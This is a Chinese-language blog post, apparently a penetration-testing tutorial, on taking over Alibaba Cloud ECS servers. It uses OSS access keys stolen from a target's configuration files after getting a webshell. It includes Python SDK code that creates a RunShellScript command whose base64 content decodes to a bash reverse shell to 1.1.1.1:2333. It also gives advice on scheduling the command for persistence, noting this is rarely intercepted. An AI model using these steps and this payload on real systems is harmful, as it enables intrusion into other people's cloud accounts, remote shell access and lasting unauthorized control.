每日一洞 | 阿里云access token 公有云渗透的问题

0x00前言

q:在获得权限较低的webshell情况下,如何继续扩大收获(前提是对方把服务器上到公有云上了)

a:其实当我们拿到shell后,基本上第一件事都是去信息搜集,其中包括,主机信息搜集,域信息搜集等等,然后再去分析

    1.是否需要提权

    2.如何去将流量带入(转发)

    3结合信息搜集的信息转化出去、其他更好的思路

这里我们就说的是第三种情况

 

tip:内网渗透一般提权是最不可取的方案,我们只需要不断地信息搜集,撕开流量的口子(才知道)

 

0x01 阿里云对象存储-oss

    什么是对象存储?

    阿里云对象存储服务,是阿里云对外提供的海量,安全,低成本,高可靠的云存储服务。我们可以通过文档停工的rest接口,去在任何时间和地点进行上传和下载。基于oss,我们可以搭建出各种多媒体分享网站,网盘,个人数据和企业数据备份等基于大规模数据的服务。

    情景:我们通过webshell在目标机器(linux)的web站点目录下发现多个子站的配置文件config.php,配置了同一个阿里云的oss地址,只是存储空间不同(Bucket)

通常情况一个阿里云oss地址的组成如下:

http(s)://[BucketName].oss-cn-[Region].aliyuncs.com

BucketName:存储空间

Region:地域

eg:杭州=cn-hangzhou

0x02 Access  Token

Access Token = AccessKeyId +AccessKeySecret(之前看过一篇文章说是access token具有一定的时间要求)

oss通过使用keyid/keysecret对称加密方法来验证某个请求的发送者信息身份。

accesskid用于标识用户(我上篇文章说到这里存在漏洞),accesskeysecret是用户用于加密的方法来验证某个请求的发送者身份。

accesskeyid用于标识用户,accesskeysecret是用户用于加密签名字符串和oss用来验证签名字符串的密钥,其中accesskeysecret必须保密,只有用户和oss知道。AccessKey根据所属的账号的类型有所区分。

0x03 通过Access  Token接管esc(这里其实是通过阿里云提供的一个python调用接口)

前面介绍到,默认情况下,阿里云用户获得Access Token是对当前所有服务通用的令牌,在没有使用ram账户(登陆账户)的情况下,就可以使用sdk去操作所有的云产品。

首先通过读取配置文件,获得了同于上传图片所需要认证的access token,如何检验是否可用的呢?

 

下面可以直接调用ecs实列的api即可,以往情况下,会使用python,直接安装阿里云的sdk-core,但是现在能在线调试,大大的节省了本地调试的成本

 

 

 

只有第一个Region是必须填的,点击api explorer可以直接进入调试环境

 

服务器上的oss配置中是由Regionld,我就直接选择了,然后填入access token信息,就可以获得数据。

也可以直接复制一份运行他这个输出的json格式有点类似于elk节点的json格式分布式的

 

命令执行:

首先创建一条命令,然后指定实例来调用命令

手册参考:https://help.aliyun.com/document_detail/64844.html

由于都是linux,所以我们选择RunShellScript,注意:命令必须是base64encode

具体执行代码如下

#!/usr/bin/env python
#coding=utf-8

from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest

client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-shanghai')

request = CreateCommandRequest()
request.set_accept_format('json')

request.set_Type("RunShellScript")
request.set_CommandContent("YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzIzMzMgMD4mMQo=")
request.set_Name("test")

response = client.do_action_with_exception(request)
# python2:  print(response) 
print(str(response, encoding='utf-8'))

执行成功后会返回

{
    "RequestId": "********-****-****-****-********",
    "CommandId": "c-0************"
}

紧接着就是invokecommand

RegionId:区域ID,例如:cn-shanghai
CommandId:命令ID
InstanceId:实例ID
Timed:命令是否为周期执行。 默认值:False
Frequency:周期任务的执行周期,两次周期任务的时间间隔不能低于10秒。当参数 Timed 的值为 True 时,参数 Frequency 为必需参数。 该参数取值遵循Cron表达式,参阅Cron表达式。

默认情况下,我们不需要管后面的参数,如果需要权限维持的话,可以设置timed 为false

并且设置Frequence为定时任务计划表,执行的过程中基本上不会拦截。

 

学习内容来自:https://payloads.online/(倾旋师傅)

 

posted @ 2020-06-29 20:32  sasdsaxvcx  阅读(995)  评论(0编辑  收藏  举报